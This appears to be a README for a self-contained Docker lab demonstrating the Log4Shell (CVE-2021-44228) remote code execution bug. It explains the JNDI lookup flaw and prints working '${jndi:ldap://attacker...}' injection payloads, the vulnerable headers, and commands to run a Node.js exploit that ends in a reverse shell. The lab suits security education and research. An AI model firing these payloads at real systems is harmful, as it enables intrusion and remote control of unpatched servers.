$ cat cve-2021-44228-log4shell.mdx
CVE-2021-44228: Log4Shell RCE — end-to-end PoC lab
Authorization: this is a self-contained lab built for education and security research. All traffic stays inside an isolated Docker network. Do not point it at systems you don't own or aren't explicitly authorized to test — misuse can be a crime.
Summary
Log4Shell (CVE-2021-44228) is a critical CVSS 10.0 remote code execution bug disclosed in December 2021 in Apache Log4j 2, one of the most widely deployed logging libraries in the Java ecosystem. A single attacker-controlled string, logged anywhere by a vulnerable application, is enough to make the server fetch and execute remote Java code.
This repository is a full attacker-and-victim lab: a deliberately vulnerable Spring Boot service, the attacker infrastructure that serves the malicious class, and a Node.js exploit that fires the payload and lands a reverse shell — all wired together with Docker Compose so the whole chain runs on one machine.
How the vulnerability works
Log4j supports message interpolation: when it logs a string, it evaluates
${...} expressions at runtime. ${java:version}, for example, is replaced with
the running JVM version.
The problem is that this interpolation also resolves JNDI (Java Naming and Directory Interface) lookups. When Log4j logs a value like:
${jndi:ldap://attacker.com/Exploit}it tells the JVM to perform an LDAP query to the attacker's server. That server replies with a reference to a remote Java class, and a vulnerable JVM will download and instantiate that class — turning a log line into arbitrary code execution.
The attack surface is enormous because the trigger just has to be logged. Any field the application records — HTTP headers, form fields, cookies, usernames — becomes an injection point.
Affected versions
| Log4j 2 | Status |
|---|---|
2.0-beta9 – 2.14.1 | Vulnerable |
2.15.0 | First fix (still had follow-up issues) |
2.17.0 | Definitively fixed |
The lab
Vulnerable application
| Component | Version | Why it's exploitable |
|---|---|---|
| Apache Log4j | 2.14.1 | Evaluates ${jndi:...} lookups with no restrictions |
| JDK | 1.8.0_181 | Predates 8u191, which set com.sun.jndi.ldap.object.trustURLCodebase=false |
| Spring Boot | 2.5.6 | Just the web framework — the bug lives entirely in Log4j |
The JDK version matters as much as the Log4j version: on 8u191+ the JVM refuses
to load remote codebases over LDAP by default, so the classic "serve a class over
HTTP" path used here needs the older runtime.
The vulnerable endpoint simply logs a few request headers:
GET http://localhost:8080/logAny of these headers is logged directly by Log4j and works as the injection vector:
X-Api-VersionUser-AgentX-Auth-Token
Attacker infrastructure
| Service | Port | Role |
|---|---|---|
| marshalsec (LDAP) | 1389 | Receives the JNDI lookup and redirects it to the HTTP server |
| Python HTTP server | 8888 | Serves the compiled Exploit.class to the victim JVM |
| netcat listener | 9001 | Catches the reverse shell |
Exploitation
The exploit injects a JNDI payload into a loggable header and lets Log4j do the rest. With defaults, the injected value is:
${jndi:ldap://attacker:1389/Exploit}The full chain, once that header is logged:
- Injection — the payload lands in the
X-Api-Versionheader of aGET /logrequest. - Trigger — Log4j interpolates
${jndi:...}and the victim JVM performs an LDAP lookup againstattacker:1389. - Redirect — marshalsec answers with a reference pointing at the HTTP server
on
:8888. - Load & execute — the JVM downloads
Exploit.classand runs it, which drops a marker (/tmp/pwned) and dials back a reverse shell. - Shell — the netcat listener on
:9001receives the connection.
The driver is a small Node.js script. It parses the target URL, picks HTTP/HTTPS transport, plants the JNDI string in the chosen header, sends the request, and reports the status — with a 10-second timeout:
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
# defaults: http://localhost:8080/log attacker 1389 Exploit X-Api-VersionRunning it
Prerequisites: Docker, Docker Compose, and Node.js.
1. Bring up the whole environment:
docker-compose up --buildWait until the logs show the app is ready and the listener is waiting:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds2. Fire the exploit from a second terminal:
node exploit/exploit.jsExpected output:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 90013. Confirm code execution — watch the reverse shell hit :9001 in the
compose logs, and check the marker file the payload dropped inside the victim
container:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwnedCustom parameters let you swap the vector or point at a different LDAP host:
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"